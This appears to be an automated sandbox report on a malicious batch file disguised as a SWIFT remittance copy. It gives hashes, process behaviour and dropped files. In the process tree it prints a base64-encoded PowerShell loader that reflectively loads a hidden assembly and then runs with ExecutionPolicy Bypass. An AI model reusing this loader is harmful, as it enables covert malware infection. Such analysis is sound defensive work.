Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
27-03-2024 01:41
Static task
static1
Behavioral task
behavioral1
Sample
Rimessa _Swift_Copy_104.bat
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
Rimessa _Swift_Copy_104.bat
Resource
win10v2004-20240226-en
General
-
Target
Rimessa _Swift_Copy_104.bat
-
Size
190KB
-
MD5
9c8e718ad44b4580a60af5297036b3b2
-
SHA1
c399ac2601b440e518eb778609986ea54c218ccf
-
SHA256
de6511f08ed03c52a930a8825a34ff72bfc54d51110a4412a3f656a0da4b1f49
-
SHA512
435c2e21ba8c3fa46421fd259ca4a8044eedbaec9c902b2e6b63b4c5716cb18aaf9578c5e8bb6bef0b8e4031d24c5f1b4fb8d264e2e21c45b0a6847dca0c451c
-
SSDEEP
3072:ehRrgvH6Sn0Kpt0Ifi+neNrP1gnrV2GCs11IxDdLNf+eyRBmZggHRzjS9b1yOcOA:ehVS0tIfZeNpgB25s1CnBwmZB/S9pkBr
Malware Config
Signatures
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
Processes:
powershell.exepowershell.exepid process 2636 powershell.exe 2712 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 2636 powershell.exe 2712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2636 powershell.exe Token: SeDebugPrivilege 2712 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2980 wrote to memory of 1948 2980 cmd.exe cmd.exe PID 2980 wrote to memory of 1948 2980 cmd.exe cmd.exe PID 2980 wrote to memory of 1948 2980 cmd.exe cmd.exe PID 1948 wrote to memory of 2636 1948 cmd.exe powershell.exe PID 1948 wrote to memory of 2636 1948 cmd.exe powershell.exe PID 1948 wrote to memory of 2636 1948 cmd.exe powershell.exe PID 1948 wrote to memory of 2636 1948 cmd.exe powershell.exe PID 1948 wrote to memory of 2712 1948 cmd.exe powershell.exe PID 1948 wrote to memory of 2712 1948 cmd.exe powershell.exe PID 1948 wrote to memory of 2712 1948 cmd.exe powershell.exe PID 1948 wrote to memory of 2712 1948 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Rimessa _Swift_Copy_104.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Rimessa _Swift_Copy_104.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD59833040ee07a5d1addb0a2f62d738a02
SHA1ed8c4c2acb14eadf2f18338d638829d8b4f222ef
SHA256019a4947fea83e2f00cc5d420ff20680ec626cb73973118e53ca06a1b8504c3b
SHA5120815d33a39f36b595e959eb4234956526860da51936134b80aeb72bace75c6022c41cb1ac00f023860ba5421be52b260afbaaa19e3f5da518811f70842394ace
-
C:\Users\Admin\chrome.batFilesize
190KB
MD59c8e718ad44b4580a60af5297036b3b2
SHA1c399ac2601b440e518eb778609986ea54c218ccf
SHA256de6511f08ed03c52a930a8825a34ff72bfc54d51110a4412a3f656a0da4b1f49
SHA512435c2e21ba8c3fa46421fd259ca4a8044eedbaec9c902b2e6b63b4c5716cb18aaf9578c5e8bb6bef0b8e4031d24c5f1b4fb8d264e2e21c45b0a6847dca0c451c
-
C:\Users\Admin\chrome.ps1Filesize
1KB
MD51d6288e218ce9fed4e703ef5aa2e6c08
SHA139c5fbc0b8931bab67c40dc3f45be696ea3beb90
SHA256d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6
SHA512c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c
-
memory/2636-4-0x00000000741A0000-0x000000007474B000-memory.dmpFilesize
5.7MB
-
memory/2636-5-0x0000000002C20000-0x0000000002C60000-memory.dmpFilesize
256KB
-
memory/2636-6-0x00000000741A0000-0x000000007474B000-memory.dmpFilesize
5.7MB
-
memory/2636-7-0x0000000002C20000-0x0000000002C60000-memory.dmpFilesize
256KB
-
memory/2636-9-0x00000000741A0000-0x000000007474B000-memory.dmpFilesize
5.7MB
-
memory/2712-17-0x0000000074150000-0x00000000746FB000-memory.dmpFilesize
5.7MB
-
memory/2712-16-0x0000000002C70000-0x0000000002CB0000-memory.dmpFilesize
256KB
-
memory/2712-20-0x0000000002C70000-0x0000000002CB0000-memory.dmpFilesize
256KB
-
memory/2712-15-0x0000000074150000-0x00000000746FB000-memory.dmpFilesize
5.7MB
-
memory/2712-18-0x0000000002C70000-0x0000000002CB0000-memory.dmpFilesize
256KB
-
memory/2712-22-0x0000000074150000-0x00000000746FB000-memory.dmpFilesize
5.7MB
-
memory/2712-23-0x0000000002C70000-0x0000000002CB0000-memory.dmpFilesize
256KB
-
memory/2712-24-0x0000000002C70000-0x0000000002CB0000-memory.dmpFilesize
256KB
-
memory/2712-25-0x0000000002C70000-0x0000000002CB0000-memory.dmpFilesize
256KB